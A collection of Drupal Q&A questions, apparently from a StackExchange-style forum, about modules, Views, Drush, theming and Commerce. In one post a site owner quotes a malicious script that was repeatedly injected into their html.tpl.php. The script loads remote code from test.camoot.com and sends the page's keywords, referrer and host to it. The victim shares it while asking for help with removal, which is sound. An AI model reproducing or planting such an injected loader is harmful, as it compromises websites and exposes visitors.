texts: Entity reference autocomplete field node

texts:
I am using Services module to create nodes via an api and am having problems using entity reference autocomplete to populate the field.

The ER field is linked to a taxonomy and uses a multi field setting so that more than one value can be set. I have tried multiple different options including a var_dump of the node entity upon insert and can see its not being set.

The following are the 6 ways I tried to set the field. Do you have any idea? I am using the latest Services module and the ER module.

{"und": ["112326"]}

{"und": [{"target_id":"112326"}]}

{"und": [{"target_id":"A S (112326)"}]}

{"und": ["A S (112326)"]}

{"und": [{"tid":"A S (112326)"}]}

{"und": [{"tid":112326}]}


texts:
I using ThickBox to display large image when thumbnails are clicked. This works great with static content that;s loaded with the page.

However, I'm now trying to use Ajax calls to display some of the content, as it involves API calls that can slow down the page generation. I've placed a small JQuery document.ready script like this:

Drupal.behaviors.brickFilterBehavior = function (context)  {
  var element = this;
  $('.brick-filter-test').each(function () {
    var element = this;
    $.get('/brick_filter/test/', function(data) {
      element.innerHTML = data;
    });
  });
});

This fetches HTML from the URL and inserts it into a
 with the class "brick-filter-test". The handler for the URL looks like this:

function lego_filter_test()
{
  // Print out HTML directly.
  print ('');
  // Return success.
  exit(0);
}

The real handler uses API calls to generate the content, so I've simplified for this example. This just returns a static HTML snippit.

On my test page, I have the following HTML:

Loading test content...

You can see this in action here: http://www.neoclassicspace.com/test

In the example, I have two thumbnail images, one statically included in the page, the other dynamically loaded. The static one behaves correctly, and the ThickBox pop-up gets applied. The dynamic one isn't getting the Thickbox treatment, even though it uses the same HTML.

I have tried adding alerts into the JS for both my code and Thickbox, and this has shown that my code runs before Thickbox initialises, so my dynamic DOM objects should be present when it runs.

I've also tried adding Drupal.behaviors.initThickbox(context); to the end of my function, which should cause Thickbox to reinitialise. I've confirmed this runs twice with an alert statement when I do this.

I'm really appreciate any suggestions on this.

Thanks,

James


texts: hook_views_data TIMESTAMP field is empty

texts:
I'm using hook_views_data in my custom module to show the formatted date of a table in mysql. Using the example in the api I have text working but my TIMESTAMP in the donationDate column shows up blank.

MySql reports it is a TIMESTAMP field and it's showing me '2015-04-16 18:41:09'. When I change out the below to the string options it shows me the string representation so I know it's passing data from that column. I've played with the options in setting up this custom view but none of the date options seem to make a difference. I've looked at Google but none point me to what I might be doing wrong. How should I troubleshoot it?

function manage_donations_views_data() {
  $data['GeneralDonations']['table']['group'] = t('Donations');
  $data ['GeneralDonations']['table']['base'] = array(
    'field' => 'donationId',
    'help' => t('List of recent donations'),
    'title' => t('All donations'),
    'weight' => -10,
  );

  $data['GeneralDonations']['donationForm'] = array('title' => t('Form'),
    'help' => t('Form and type'),
    'field' => array(
      'group' => 'donations',
      'handler' => 'views_handler_field',
      'click sortable' => TRUE,
      ),
      'sort' => array(
        'handler' => 'views_handler_sort',
      'filter' => array(
        'handler' => 'views_handler_filter_string',
      ),
      'argument' => array(
        'handler' => 'views_handler_argument_string',
      ),
    ));
  $data['GeneralDonations']['donationId'] = array('title' => t('ID'),
    'help' => t('id'),
    'field' => array(
      'group' => 'donations',
      'handler' => 'views_handler_field',
      'click sortable' => TRUE,
      ),
      'sort' => array(
        'handler' => 'views_handler_sort',
      'filter' => array(
        'handler' => 'views_handler_filter_string',
      ),
      'argument' => array(
        'handler' => 'views_handler_argument_string',
      ),
    ));
  $data['GeneralDonations']['donationDate'] = array('title' => t('Date'),
    'help' => t('Date'),
    'field' => array(
      'group' => 'donations',
      'handler' => 'views_handler_field_date',
      'click_sortable' => TRUE,
      ),
    'filter' => array(
        'handler' => 'views_handler_filter_date',),
    'sort' => array(
        'handler' => 'views_handler_sort_date',
      ),
    );

  return $data;
}

The column was set up in MySql this way: donationDate TIMESTAMP

I've been using drush to clear all my cache after each code change. I have used all the options. The only one that seems to show anything is the "ago" as it shows 45 years, 4 months so it appears it recognizes the unix epoch?

Still struggling with this. Is it something wrong with how I defined the mysql field, or is it views_handler_field_date? I see some methods but unsure how to troubleshoot this. I'm unsure which to dig into? thx, sam

thx, sam


texts:
On Drupal 8.0.5, I have created a d6_migration module with the following dependencies.

  dependencies:
    - migrate_drupal

I activated my custom module, and I ran drupal migrate:debug which is returns me the following error:

  Missing module dependency "migrate" is not installed. Try
   module:install to install it.

The Migrate and the Migrate Drupal modules are activated; drupal module:install migrate doesn't fix the problem.

How can I fix the error?


texts: Missing group audience field(og) from node add form by panel

texts:
I have 2 content types, and they are Organization(group) and Contact(group content)
From Contact, I add the group audience field and bundle with Organization.

When I use the node/add/contact from default node add form, everything is great.

I am trying to create another node/add/contact form from other url (organization/add_contact).
However, my problem is after setup a page(page management) and add the context with node add form, I find out my new add node form is missing the group audience field.

Is anyone have same problem or some setting was missed.......


texts: Can't get drupal_array_get_nested_value to work

texts:
I'm trying to use this helper function drupal_array_get_nested_value  and I can't seem to get it to run.  http://api.drupal.org/api/drupal/includes%21common.inc/function/drupal_array_get_nested_value/7  I have a specific field type I am looking for, and I can find it using a recursive array search, but I would rather use the helper function.  Essentially this is what I want

$field_type = "my_field_type";
$value = drupal_array_get_nested_value($field_type, $form);

but that is not working, it's wants me to pass an array.  How can I use this function to search for a string, or am I using the wrong function?


texts: Site architecture - consistent paths, breadcrumb and menu

texts:
We've been trying to implement a site architecture that has a consistent menu, breadcrumb and path structure for all pages in the site.

This is easy for basic pages since the path can be set using the page's menu position (using pathauto), as can the breadcrumb.

eg: site.com/a-page/b-page

However, we also have 'articles' which appear in lists on certain pages, using certain tags.

The issue comes in preserving the consistent menu location (but no menu item), URL and breadcrumb for these articles whilst keeping the system easy to maintain.

eg: site.com/a-page/b-page/article-1
eg: site.com/a-page/b-page/article-2

(Most Drupal sites seem to just give up and use site.com/article-title ?)

Not all the articles are just 'news' so we don't want to just force the path to one format option using pathauto.

One solution we've identified for these articles is:

Add a field to the taxonomy for 'path to parent' which would contain the path to whatever page the articles are listed on (eg: a-page/b-page/) and then pathauto could then use this to build a relevant path to the content. Then create a Context for each term which sets the Breadcrumb and Menu trail to the correct location.

However, this does not seem very easy to maintain?

Does anyone know of a better solution?


texts: Field settings are not being exported with Features

texts:
I have a product content type that has a product reference field. Under the Product types that can be referenced section there is a list of product types that can be referenced. I have selected one of these.
When exporting/importing this content type, the field settings (eg. the selected referenced product) are not exported. How could i export this without selecting the referenced product manually.


texts: Any module which even comes close to frontpage slider module

texts:
I saw this front page slider module, and I was impressed by it, but I see there is no Drupal 7 module and it is payed property now.

Is there any module which comes close to this one?


texts: How do I link 2 content types (business, photo) together and able to display as a tab? is there a module for this?


texts: Dev version connects to the live site database despite settings.php

texts:
I've made a dev copy of the site to perform some tests and bug fixes:

copied site files to the separate directory
copied database under the same user, so I'm able to see both DBs in the phpmyadmin
edited settings.php to point dev to the copied database
created new nginx conf to serve dev.mysite.com

BUT, the dev version is still communicates with the production DB somehow.

Server configuration:
Ubuntu, Varnish front, Nginx back, MariaDB, opcache

Site configuration: Drupal7, single-site setup

And of course, I've double checked settings.php

Christmas mystery?


texts: How to to get the prices centered in the node:teaser with commerce price savings formatter?

texts:
I am pretty new to drupal and I have a problem with formatting the price in my drupal shop. I am using commerce sale price -module and commerce price savings formatter -module.

In the default view, the price shows ok, in the right position. But in the view (node:teaser) it shows the prices in the wrong position. I have tried everything to get the prices centered (modifying the css), but they are still on right side all the time. I would also like to remove the line above the price if its possible.

Here is the link to my shop: http://www.oladevelopment.fi/mifuko/content/home-shop

Ant ideas on how I can get the prices shown in the way I want?


texts:
This might be not the smartest way to do, but is it possible to set the node view count per node manually?

I'm manually exporting my nodes to another Drupal without using modules; basically, I'm copy-pasting everything since there are things that are changed. The only thing that bothers me is that the number of times a node has been  viewed will be lost.

Is there a way to manually change the number of times a node has been viewed?


texts:
I am sure this has been answered somewhere, and I did read the licensing faq but it wasn't 100% clear to me so I thought I'd ask.  I was curious as to the licensing/legal requirements of, well, using Drupal to make money.

Example 1:  You are a free lance web designer.  Business contacts you to have you build them a site.  You meet with the client, discuss their needs, and eventually decide that their best option would be to make a Drupal site for them.  You want to charge them for the initial setup and design, as well as possibly hosting it.

Example 2:  You set yourself up more as a SaaS provider.  People come to your site, click a big "Launch your site" button, pick their monthly plan and then a Drupal instance is generated for them that they can log into and edit just like any other Drupal site.  Possibly includes some custom modules and themes pre-installed.  You provide support and such for these instances.  Kind of like Drupal Gardens.

What are the licensing/legal implications of those two situations? I.e., can you use them? And if so, are there legal restrictions you should be aware of (for example, do you have to put a giant 'Powered by Drupal' on the site, etc)?


texts: .bash_profile has to be resourced every time

texts:
I installed Drush 8.0.0 for Drupal 8 on Linux Mint 17.1 via Composer.

I added Composer's directory to .bash_profile.

export PATH="$HOME/.composer/vendor/bin:$PATH"

The problem is that every time I want to run Drush now, I have to re-source .bash_profile with source ~/.bash_profile.

Otherwise, I get an error saying it is not installed.

  The program 'drush' is currently not installed. You can install it by typing: sudo apt-get install drush

How can I keep it sourced?


texts:
I am facing some serious issues with my drupal 7 site and i dont know how to solve it. For the past five weeks there is this particular script that is automatically injected into the html.tpl.php file.  I clear it every morning and in the next few hours its comes back again. As a result google has now marked my site as a threat.

Below is the script that i suppose is causing that problem.

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://test.camoot.com/js/jquery.min.php?c_utt=SWR2D2&c_utm='+encodeURIComponent('http://test.camoot.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

the url in this script changes each time i clear it. i even tried to put my url in that section but after some few hours den it changes it.

So my question today is how do i permanently clear this script and change my status on google.


texts:
I have created a content item in Drupal 7 which has multiple image fields (well it has an image field that accepts multiple images).

When I display the item, the images are displayed one under the other, or I can put them into a lightbox gallery.

How can I change or over-ride the CSS and JavaScript code associated with these content items? Additionally, I eventually want to be able to count up the number of images in the content item and write some js to do this. But I am not sure how to find the names of the items and/or if that is indeed necessary.

My goal is to make a gallery of images that can be flicked through like many JavaScript galleries that place content in hidden tags.


texts: Open Atrium 2 or Drupal Commons or Simple Drupal with OG

texts:
What will be the best option to build a fully functional social collaboration and community website in Drupal? Open Atrium 2 or Drupal Commons or new install of Drupal 7 with Organic groups?

I am good in Organic groups but redoing everything will be tricky though considering already existing distributions like Open Atrium and Drupal Commons.


texts: drush 8.1.9 on php 7 not giving any "drush status" in docroot folder

texts:
I just setup a fresh install of drupal 7, ubuntu 16.04, installed php 7.0 and git cloned the drush repo which checkout of 8.1.9 drush. When I do a drush status on the docroot of my drupal folder it shows the following and when doing a drush dl it fetches only drupal 8 modules.

 PHP executable         :  /usr/bin/php
 PHP configuration      :  /etc/php/7.0/cli/php.ini
 PHP OS                 :  Linux
 Drush script           :  /vendor/drush/drush/drush.php
 Drush version          :  8.1.12
 Drush temp directory   :  /tmp
 Drush configuration    :
 Drush alias files      :  /home/ubuntu/.drush/hotsite.aliases.drushrc.php

When I used to run php 5.6, it would give me all the details of my install. What did I do wrong here?

---- updated with drush status in the sites/default folder:

$:/var/www/hotsite_d7/docroot/sites/default$ drush status
 PHP executable         :  /usr/bin/php
 PHP configuration      :  /etc/php/7.0/cli/php.ini
 PHP OS                 :  Linux
 Drush script           :  /vendor/drush/drush/drush.php
 Drush version          :  8.1.12
 Drush temp directory   :  /tmp
 Drush configuration    :
 Drush alias files      :  /home/ubuntu/.drush/aliases.drushrc.php

$/var/www/hotsite_d7/docroot/sites/default$ drush @hotsite status
 Drupal version                  :  7.57-dev
 Site URI                        :  http://default
 Database driver                 :  mysql
 Database hostname               :  127.0.0.1
 Database port                   :
 Database username               :  xxx
 Database name                   :  xxx
 Database                        :  Connected
 Drupal bootstrap                :  Successful
 Drupal user                     :
 Default theme                   :  bootstrap
 Administration theme            :  seven
 PHP executable                  :  /usr/bin/php
 PHP configuration               :  /etc/php/7.0/cli/php.ini
 PHP OS                          :  Linux
 Drush script                    :  /vendor/drush/drush/drush.php
 Drush version                   :  8.1.12
 Drush temp directory            :  /tmp
 Drush configuration             :
 Drush alias files               :  /home/ubuntu/.drush/aliases.drushrc.php
 Install profile                 :  standard
 Drupal root                     :  /var/www/hotsite_d7/docroot
 Drupal Settings File            :  sites/default/settings.php
 Site path                       :  sites/default
 File directory path             :
 Temporary file directory path   :  /tmp

$/var/www/hotsite_d7/docroot/sites/default$


texts: How do I use the value of a JavaScript variable in a module?

texts:
I need to use the value of a JavaScript variable in a module.
For example, I am getting a city = 'delhi' in a JavaScript file, and I need to use this value in a module showing a form.


texts: How to create a views block that lists all users who bought a product?

texts:
I need to create a list of users who purchased a product (uid & email) within that product page for administration so the Admin could have a list of them (using Views).

It is similar to how the Who Bought What module in Ubercart 3.x does but this is going to be a block placed at the bottom of each Product that lists only the users who purchased that specific product.


texts:
I am running Drupal 7 with the latest version of the Views module.

I have a content type called "School," which has an entity reference field for "classroom." The "classroom" content type has a radio button field for whether it has an assigned teacher.

I'd like my view to output a table which will list the total number of classrooms in each school (so school name in the first column, # of classrooms in the second column). After some messing around, I was able to get this working.

However, now I'd like to add a third column where I display the # of classrooms which have an assigned teacher. So if the classroom doesn't have a teacher assigned, it doesn't get included in the count. Anyone know how to accomplish this? It doesn't look like I can filter on individual fields...


texts:
Can someone please explain how site internal links work in Drupal? What is the most reliable way to display a link so that it goes to the same location every time?

I'm working on a preliminary website and right now, the only reliable way I can get a link to work the same way on all pages is to use absolute links (starting with http://and including the domain name for the host)  for each link. Since this website is currently local, this is not practical because I'll need to change all the links in the website when it goes live.

Eventually, I'd like to put these links in a menu I've got displayed at the top of all pages in my site.


texts: Handling custom parsing and importing with Feeds

texts:
I've been wading through the Feeds module and documentation, and for whatever reason have been unable to figure the best way to do this, so I'm hoping someone will be able to point me in the right direction.

I need to get video node information from one D6 site to another.  I've set up a feed via Views on the source site, and I want to use Feeds to ingest the info into the target site. There are two custom things I need to do, and I can't figure the best way to do them.

There are two taxonomy vocabularies on the source site that I need to get to specific vocabularies on the target site. One is a tags vocabulary, and one is titled Channel (same on both sites). I've added the tid for the target Channel term to the feed as <channel-map> and I need to import that value into the assigned Channel term on the target node. The problem is that the core Taxonomy module dumps all taxonomy terms, regardless of vocabulary, into the source feed as <category>; the only way to differentiate between vocabs when importing the feed item is to look at the domain attribute, which is the URL for that term. There is a Tags target in the standard feed importer, but I need to filter out the Channel terms, as well as the terms for other vocabs that only exist on the source site.
The target site has a custom video formatter that plays the embedded video from the source site when you enter the source site URL into the Video field on the target node in the format http://mysourcesite.com/node/$nid. I've added the source nid to the feed as <source-nid>, so I just need to take that value and construct the URL the source site URL is already stored in a variable on the target site as part of the custom formatter settings), and then insert it into the Video field on the new target node.

So what I'm trying to figure out is the best way to handle these instances when importing the feed.  It looks like one option is to write a custom parser and/or importer plugin.  However, I don't need to rewrite the whole parsing and importing processes; I just need to handle the two cases above. There are already targets defined for the two fields I need to import into, so would it just be a matter of using the feeds_node_processor_targets_alter() hook and override the existing node processor? Or would I need to write my own custom plugins?

Thanks.

EDIT: I tried creating my own callback as a wrapper for content_taxonomy_feeds_set_target() using hook_feeds_node_processor_targets_alter(), but by that point in the process, all that is provided is the term name with no additional information to indicate the source vocabulary.


texts: Date field value timezone changing although site,field and user timezone is same

texts:
For view's footer I needed to compare field_last_date value with current date, no issues with comparison but when

site's timezone is set to India(no option like Asia/Kolkata here am I
missing something?)
user's timezone is set to Asia/Kolkata: xxxxxx, xx xxxx xxxx - x:xxpm
+0530
field's timezone is set to site's timezone under Time zone
handling settings

If field_last_date value is like 13/05/2014 - 12:00am and when it is outputted in view's footer with [field_last_date] it is showing 12/05/2014 - 6:30pm.But accoring to date api documentation

  Site's time zone - When entering data into the field, the data entered
  is assumed to be in the site's time zone. When the data is saved to
  the database, it is converted to UTC. When retrieved from the
  database, the data is converted to the Site's time zone for anonymous
  users or the User's time zone for logged in users when
  User-configurable time zones is enabled.

Shouldn't it display according to Time zone handling settings as configured?.

Update :
View's display suite code in footer

$date_value = '[field_submission_end_date]';//token value of view field
$date_value = strtotime($date_value);
echo format_date($date_value,'medium');
echo format_date(time(),'medium');

After comment from Geoff I also tested by changing

site's default zone to Europe/Berlin
Admin' to Asia/Kolkata
testuser(non-admin) to America/New york

for all it is showing like
Mon, 12/05/2014 - 6:30pm
Thu, 26/06/2014 - 10:00am //current time


texts: view-mode-page: How to define the url pattern right?

texts:
I'm new here and hope it is the right place for asking my question.

My problem is as follows:

I need to provide 2 view modes of one and the same content type via url. So I installed and configured the module "view mode page", which do the trick for me, but not with the desired and expected url pattern.
I hope someone has experiences with this module and can help me to find the correct url pattern.

I use Drupal 7.41 and view mode page 1.7.

I will show you what I mean...

It is a blog page which should get 2 different view modes and layouts.

The original Blog page is available with this url:

"www.exampledomain.de/de/2016/01/29/example-node-alias"

The corresponding Pathauto url pattern is:

"[node:created:custom:Y]/[node:created:custom:m]/[node:created:custom:d]/[node:title]"

I read the documentation page for this module "view mode page" and searched for help via google, but I found nothing helpful. In the documentation page are following examples to explain how to use wildcards (%) in url pattern for this module:

If Pathauto url pattern is: "project/[node:title]"

The view mode page url pattern should be: "project/%/my-view-mode"

If Pathauto url pattern is: "category/[node:field-category]/[node:title]"

The view mode page url pattern should be: "category/%/%/my-view-mode"

"[...] The wildcard character should be used for variable parts of the alias. This may be the NID, but it could be other things. [...]"

So with that in mind I tried to configure my own url pattern as follows:

"%/%/%/%/my-view-mode"

This throughs a error message similar like this (translated from german): "The URL pattern should not begin with wildcard"

So I tried it like this:
"/%/%/%/%/my-view-mode"

If I use this url "www.exampledomain.de/de/2016/01/29/example-node-alias/my-view-mode", I get a 404 error.

Only if I use following url pattern:
"node/%/my-view-mode"

And open the page as follows:
"www.exampledomain.de/de/node/1234/my-view-mode"

It works and shows the correct view mode page.

What is wrong with my first and desired url pattern? How can I make this or a similar one work?

Thank you very much for any advice and sorry for my possibly bad English.

Best regards.


texts:
I can successfully import remote content using the Feeds module by manually clicking on the Import button. I need to execute the import process from code, either from a module or executing PHP code from the Rules module.

I have tried the following code in a custom module.

function imports_cron_cron(){
  drupal_set_message('Import-CRON responding to cron execution! ...');
  $importer_id = 'publications_import';
  $url = "http://xml/url";
  $feeds_source = feeds_source($importer_id);
  $feeds_config = $feeds_source->getConfigFor($feeds_source->importer->fetcher);
  $feeds_config['source'] = $url;
  $feeds_source->setConfigFor($feeds_source->importer->fetcher, $feeds_config);
  $feeds_source->save();
  $feeds_source->startImport();

  drupal_set_message(' .... ENDING IMPORTS-CRON CALL!');
}

Both the drupal_set_message() calls are successfully executed, but no node is imported.

Can anyone help, please?


texts: Code comments in template file show on page

texts:
Im using page--front.tpl.php to override my front page. Ive commented out the content with the code below, however this '-->' is shown on the page.

<!-- <?php print render($page['content']); ?> -->

How can I stop this. Thanks


texts:
What would be the cleanest way to route URLs to functions and return only the HTML output from those functions (a.k.a. the menu callback)?

If I use hook_menu() the string that's returned will be the HTML within the rest of the site. I want the page to display only the string returned from the menu callback.

Should I use drupal_set_header() in the same way drupal_json() does? Is this not inefficient having fully bootstrapped Drupal, and then changing the header at the last minute?

I want the fastest code path possible since this is going to be for widgets on external sites.  I could start with a standalone .php file and bootstrap what I need but the hook_menu routing is nice.

How should you do this?


texts: How do I optimize a Views "execute_count_query"?

texts:
So, I was able to optimize a particularly nasty query in one of my views using mymodule_views_query_alter(), bringing it from 13 seconds down to about 200 milliseconds.  However, I see in my Devel query log there is an associated "execute_count_query" that Views automatically runs that does NOT contain my optimizations.  It is as if any count query ignores my hook overrides.  Thus, the count query continues to run up a 13 second call!  I've pasted it below in all its disgusting glory.

So, how in blazes do I get at this query?

SELECT COUNT(*) AS expression FROM (
SELECT 1 AS expression FROM drupal_node node INNER JOIN (
SELECT td.*, tn.nid AS nid FROM drupal_taxonomy_term_data td
INNER JOIN drupal_taxonomy_vocabulary tv ON td.vid = tv.vid
INNER JOIN drupal_taxonomy_index tn ON tn.tid = td.tid
WHERE (tv.machine_name IN (:db_condition_placeholder_7)) ) taxonomy_term_data_node ON node.nid = taxonomy_term_data_node.nid
LEFT JOIN drupal_taxonomy_vocabulary taxonomy_term_data_node__taxonomy_vocabulary ON taxonomy_term_data_node.vid = taxonomy_term_data_node__taxonomy_vocabulary.vid
LEFT JOIN drupal_field_data_field_published_at field_data_field_published_at ON node.nid = field_data_field_published_at.entity_id AND (field_data_field_published_at.entity_type = :views_join_condition_0 AND field_data_field_published_at.deleted = :views_join_condition_1)
WHERE (( (node.status = :db_condition_placeholder_0) AND (node.nid IN (SELECT tn.nid AS nid FROM drupal_taxonomy_index tn
LEFT OUTER JOIN drupal_taxonomy_term_hierarchy th ON th.tid = tn.tid
LEFT OUTER JOIN drupal_taxonomy_term_hierarchy th1 ON th.parent = th1.tid
LEFT OUTER JOIN drupal_taxonomy_term_hierarchy th2 ON th1.parent = th2.tid
LEFT OUTER JOIN drupal_taxonomy_term_hierarchy th3 ON th2.parent = th3.tid
LEFT OUTER JOIN drupal_taxonomy_term_hierarchy th4 ON th3.parent = th4.tid
WHERE ( (tn.tid = :db_condition_placeholder_1) OR (th1.tid = :db_condition_placeholder_2) OR (th2.tid = :db_condition_placeholder_3) OR (th3.tid = :db_condition_placeholder_4) OR (th4.tid = :db_condition_placeholder_5) ))) )AND(( (node.type IN (:db_condition_placeholder_6)) )))) subquery


texts: "View" with article shown according to detection/selection language

texts:
I would like to create a View (using the View module) to show my translated article separately according to the url path. Doing so, going to www.mysite.com/fr/blog should only show my article with the term "story" in french and going to www.mysite.com/en/blog should only show my article with the same term "story" in english.

I added an Entity translation relationship
I added an entity translation "language" set as "current user's language"

But none of my article are displayed on the views whatever the language path I use.

Here is my Views configuration:

Many thanks for your help!


texts:
I am trying to create some variables in my template.php file using the form machine names from a content type I created. Then I am creating a node.tpl.php template file that is related to the content type so I can perform the layout I want. I don't think I have the right syntax. Here it is:

$node = $variables['node'];
function keevilcontracting_preprocess_node(&$variables) {

 if($variables['type'] == 'project') {
    kpr($variables);
 $variables['title'] = $node->title;
 $variables['coverPhoto'] = $node->field_cover_photo; // 'field_cover_photo is the machine name of the field in my content type form.
 $variables['projectDesc'] = $node->body;
 $variables['additionalPhotos'] = $node->field_additional_photos;
 }

}

Any suggestions would be great.

Cheers!


texts: How to make labels of fields selectable?

texts:
Does anybody know if there is a module to make labels of fields selectable,
for instance
Field course:

Abc in DCT
123 today
listening pop

so if I select 123 today, in my content display I would have:

course: 123 today

but I would like to change course: by workshop: at the visualization of the content and have "course" for the other two (Abc in DCT and listening pop). So maybe there is a module that allows label selection, I haven't find it yet.


texts:
I want to use tokens in my content but it seems like it doesn't let me. I've found an article about using the Token Filter module but I have not been able to configure it so that it would print. In the README.TXT it says,

  Go to /admin/settings/filters and enable the token_filter for any of
  your existing filter type    or if you wish, create a new one.

but my problem is, when I go to http://127.0.0.1/drupal-7.34/#overlay=%3Fq%3Dadmin%252Fsettings%252Ffilters (on my installation, I just get to see  and I'm not sure how I can "enable the token_filter for any of your existing filter type" - may anyone help me?

Thank you!


texts: How to Change View Filter Operator in Views Filter

texts:
I want to Set View Filter Operator to "Less Than Or Equal To" <= in Views Filter of Drupal 7.

MACHINE NAME field_guests
FIELD TYPE List (integer)
WIDGET Select list


texts: Page not found error when using plus"+" sign in the url alias

texts:
I am trying to create a new simple node with url alias as test+node. when i save the node the page is not showing the node, the url changes as

http://server/packets/test%2Bnode

but it only shows the following error

Page not found
The requested page "/packets/test%2Bnode" could not be found.

Can anyone help me to fix this issue out...


texts:
I'm hoping to pick your brain on an issue with webform. I did a twig override on a form, that works just fine. The issue lies with the confirmation message. Running with Ajax for an inline confirmation that replaces the form inside a block just empties out the block without placing any content in its place. I also duplicated the issue using the form placed within a node and on its own via webform using view. Reloading the page for messages at the top seem to work fine so long as Ajax isn't involved. It appears to be related to either Ajax or my override. On the off chance its something else, I'll post what I have. Any quick help would be deeply appreciated. Twig is as follows:

Contact Me

      <form{{ attributes }}>
        {{ title_prefix }}

            {{ element.elements.contactform_usage_description }}

            {{ element.elements.submissioninfo }}

            {{ element.elements.name }}

            {{ element.elements.email }}

            {{ element.elements.subject }}

            {{ element.elements.message }}

            {{ element.elements.camt_contactform_captcha}}
            {{ element.form_build_id }}
            {{ element.form_token }}
            {{ element.form_id }}
            {{ element.confirmation_message }}

{{ element.elements.actions }}

        {{ title_suffix }}
      </form>

I am using the most up-to-date version of the Webform module.


texts:
I am new do Drupal. I am testing out Drupal 8's multilingual capabilities.

I created a new content type with a field of type List (text) and a field of type Text. I have provided a translation for the text field, and switching language works fine when displaying it in a view. I have also entered a translation for the list field values, but those do not change when changing language. How do I get them to display in the selected language? I did set the Rendering Language to "Interface text language selected for the page". I don't see an option to make field values render in the selected language, but it's working fine for text fields. I cannot figure out why it does not work for list values.


texts: How to create a rule to remove a product by sku, or remove a product to the cart

texts:
I searched, and searched in many, many articles and and I have not found a solution.
What I want to do is to create a rule to delete a product by sku? Or a rule to delete products.

I show you my problem:

In my installation of commerce, I have two products. The first (the mother) is a "course". The second is a "enrollment". When you buy a course, the enrollment is added by a rule.

Well...but what if the user wants to delete the enrollment?
What I want is that, if a user removes the enrollment, the "course" is removed too and vice-versa.


texts: Warn user before leaving web page with unsaved changes

texts:
I have some pages with forms in my application.

How can I secure the form in such a way that if someone navigates away or closes the browser tab, they should be prompted to to confirm they really want to leave the form with unsaved data?


texts: Add mail to user register with user_external_login_register

texts:
I'm creating a module that should add an external authentication server, and I'm using user_external_login_register function.

The problem is that the user created with this functions does not have a "mail" attribute, and also if I try to user_load it, the mail attribute is not present.
Why?

Is there a way to add it or I've to create user in the ordinary way, by code?

I could add it on hook_user_insert, but the mail address is a response from a web services, called before the hook.


texts: Create custom webform when creating node?

texts:
I’m trying to find out if it’s possible to create webforms when creating nodes or paragraphs.

I mean instead of choosing a predefined webform, then build it right inside the field.

I figured that there might be a field widget or something that could do this out of the box, but I can’t seem to find anything.

Am I wrong, is this something unique, or is it a commonly used feature that I just can’t seem to find?


texts: How to alter image style based on product custom attribute?

texts:
I'm building a webshop based on Ubercart, and products have a custom attribute "sold out". When this attribute is checked, all product images should be displayed with a semitransparent overlay textbox: SOLD OUT. Theoretically, I found a couple of promising options, but none of them seems to me satisfying:

Using node--product.tpl.php to insert a custom overlay div around the rendered image. This is a very fragile solution, because I cannot put the overlay div inside the main-product-image div. Therefore, it's hard to make it responsive, and on the other hand, cross-browser issues might raise because of the opacity...
Adding a new image style and overriding theme_uc_product_image function. Since style_name is hardcoded here as 'uc_product', it is obvious to override this. But no node array is available here to decide whether to override image_style or not. Maybe a custom sql query?
Manipulating the default uc_product image style from code with hook_image_styles_alter function. Same problem: no node array here.

Any idea?


texts: How to use $config->get for #default_value when multidimensional

texts:
I am creating a form and I want to store the form values every time the form is saved, so I am using:

'#default_value' => $config->get('field_name')

However what would I do if my form item rather than being

$form['field_name'] = [
  '#type' => 'datetime',
  '#default_value' => $config->get('field_name'),
  '#date_date_element' => 'none',
  '#date_time_element' => 'time',
  '#date_time_format' => 'H:i',
];

was this

$form['section']['field_name'] = [
  '#type' => 'datetime',
  '#default_value' => $config->get('field_name'),
  '#date_date_element' => 'none',
  '#date_time_element' => 'time',
  '#date_time_format' => 'H:i',
];

I have tried unsuccessfully

'#default_value' => $config->get('section.field_name')


texts: Updated to 8.5.1, but front end says 8.5.0 is installed

texts:
I did the update from 8.4.5 to 8.5.x with Composer. I had some issues, but finally got it to work. Now, if I do

drush status

It says

Drupal version   : 8.5.1

If I look at the version listed in core/lib/Drupal.php it says

const VERSION = '8.5.1';

But in admin/reports/updates/update it says

INSTALLED VERSION 8.5.0

I've cleared caches and tried running update.php just for giggles. Can't figure out why Drupal is confused.

Any ideas?


texts: Allow multipe context to be combined into a single context (AND Functionality) rather than each context working individually

texts:
In Personalize[https://www.drupal.org/project/personalize] module there is only OR condition while targeting the fields.

Currently the instructions provide for context are as follows: "If you choose multiple contexts for an option, then the rule will apply if the visitor has any of the specified contexts."

There would be a lot of power in the ability to combine contexts, for example, if user has A AND B, than C rather than just if user has A OR B, than C.


texts:
I am trying to alter a field's argument handler. But It is showing me broken/missing handler in view's argument. I have tried it in following ways :

I am adding the following two code block in hook_field_views_data_alter where :

$table_name = node__field_test;
$field_col = field_test_value;

I want to change handler for a field.

First method by reviewing time spent module's code :

$data[$table_name][$field_col]['argument']['id'] = 'MyClassName';

I didn't understand the concept of id above and how it will recognise the class of my module?

Second method as in D7 :

$data[$table_name][$field_col]['argument']['handler'] = 'MyClassName'; // Second

How It works in D8?


texts:
I ran composer global require drush/drush:dev-master. I'm not sure how to  resolvirthis issue as it seems that the package isn't found anymore. Do I have to update somehow?

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Installation request for drush/drush dev-master -> satisfiable by drush/drush[dev-master].
    - drush/drush dev-master requires codegyre/robo ~1.0.0-beta1 -> satisfiable by codegyre/robo[1.0.0-beta1] but these conflict with your requirements or minimum-stability.

Installation failed, deleting ./composer.json.


texts: Mock a service while running a BrowserTest?

texts:
I am trying to test the output of a controller that returns some information in a given page. This controller has a custom http client injected into it.

I want to create a BrowserTest that can navigate to a fake node, and then test for certain text or values. I also want to change the mock to return different values, so I can further test the output to account for those cases.

I tried:

    $client = $this->getMockBuilder('\Drupal\mymodule\Client\AuthorizeClient')
      ->disableOriginalConstructor()
      ->getMock();
    $client->expects($this->any())
      ->method('request')
      ->with('w12345', FALSE)
      ->willReturn([]);

    $this->container->set('mymodule.auth_client', $client);

